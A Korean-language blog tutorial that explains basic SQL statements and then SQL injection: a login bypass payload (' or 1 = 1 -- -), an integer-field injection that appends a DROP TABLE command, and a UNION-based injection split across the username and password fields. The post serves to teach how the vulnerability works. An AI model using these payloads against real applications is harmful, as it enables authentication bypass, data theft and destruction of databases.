SQL은 엄청난 장점이 있는 언어이다.
db에서 데이터를 선택하고, 추출하고, 넣고, 지우고... 데이터를 분석하고 이용할때 사용하는 언어가 SQL이다.
SQL은 DB 내용들을 손쉽게 관리할 수 있는 강력한 언어이다.
SQL은 크게 3가지의 형태로 나누어지는데, DDL, DML, DCL이 있다.
DDL에서 쓰는 대표적 예시는
# 테이블이나 DB를 새로 만든다
CREATE;
CREATE TABLE Customers (
CustomerID INT PRIMARY KEY,
FirstName VARCHAR(50),
LastName VARCHAR(50),
Email VARCHAR(100)
); # 이렇게 새로운 테이블을 생성할 수 있다.
# 테이블이나 DB의 속성을 바꾼다
ALTER;
ALTER TABLE Board ADD createdDate date; # 이렇게 테이블에 컬럼을 추가할 수 있다.
# 테이블이나 DB를 삭제한다
DROP;
DROP TABLE Board; # 이렇게 테이블을 드랍시킬수도 있다
이 정도의 명령어가 있다.
DML도 살펴보면
# 테이블에 데이터 삽입하기
INSERT;
INSERT INTO
Board(boardTitle, boardContent, createdDate)
Values(
'Hello',
'Gaon',
Now()
);
# 데이터 업데이트하기
UPDATE
UPDATE Board
SET boardContent='DreamHack!'
Where idx=1;
# 데이터 조회하기
SELECT
SELECT *
FROM Board
WHERE id=1;
# 데이터 삭제하기
DELETE
DELETE From
Board
WHERE
id = 1;
로그인 WHERE 우회하기
보통 로그인을 할 때 사용하는 SQL 구문을 봐보자
select * from user
where uid='{uid}' and upw='{upw}';
GET이나 POST 요청으로 입력받은 값을 uid와 upw에 넣어서 SQL 구문을 완성시키고 DB에서 조회한다.
SQL은 ' 문자로 문자열을 구분한다. 이때 사용자 입력값에 '를 넣어서 WHERE 문을 탈출해 새로운 구문을 작성할 수 있는 취약점이다.
예를 들어서 uid에 '로 문자열을 이스케이프해서 upw를 무시하려면
' or 1 = 1 -- -
이런식으로 uid에 값을 넣고 SQL문을 확인해보면
select * from user
where uid='' or 1 = 1 -- -' and upw='{upw}';
해당 형식으로 WHERE 문이 완성되어서 upw 입력문이 주석처리되어 로그인 인증을 우회 할 수 있다.
물론 문자열 탈출을 안하고도 SQLi 할 수 있다.
select * from board where post_id=100 or 1=1;
select * from board where post_id=1; drop table board -- -;
이런식으로 파일 조회할 시 정수형으로 SQL 구문에 삽입된다면 문자와 같이 넣어서 SQLi 가능하다.
UNION 활용하기
SQL엔 UNION이라는 문법이 있다. UNION은 SQL문에서 서브쿼리를 사용하여 조회를 할 수 있게 해주는 문법이다.
예시를 들어보면,
# ORGIN SQL
Select uid from user_table where uid='' and upw=''
# UID
' OR 1=1/*
# UPW
*/ union select upw from user_table --
# SQL INJECTION
Select uid from user_table where uid='' OR 1=1/*' and upw='*/ union select upw from user_table --'
해당 형식으로 입력이 되어서 다른 테이블이나 쿼리등을 조회할 수 있다.
'web hacking' 카테고리의 다른 글
ejs 3.1.6 SSTI 취약점 (CVE-2022-29078) (1) | 2023.09.30 |
---|---|
내 web shell은 어디에... (0) | 2023.09.07 |
file upload 대응은 이게 정석일껄요...? (0) | 2023.09.04 |
HTML/CSS Injection (0) | 2023.07.28 |
정보빼가는 SQLi 와 SQLMAP (0) | 2023.07.24 |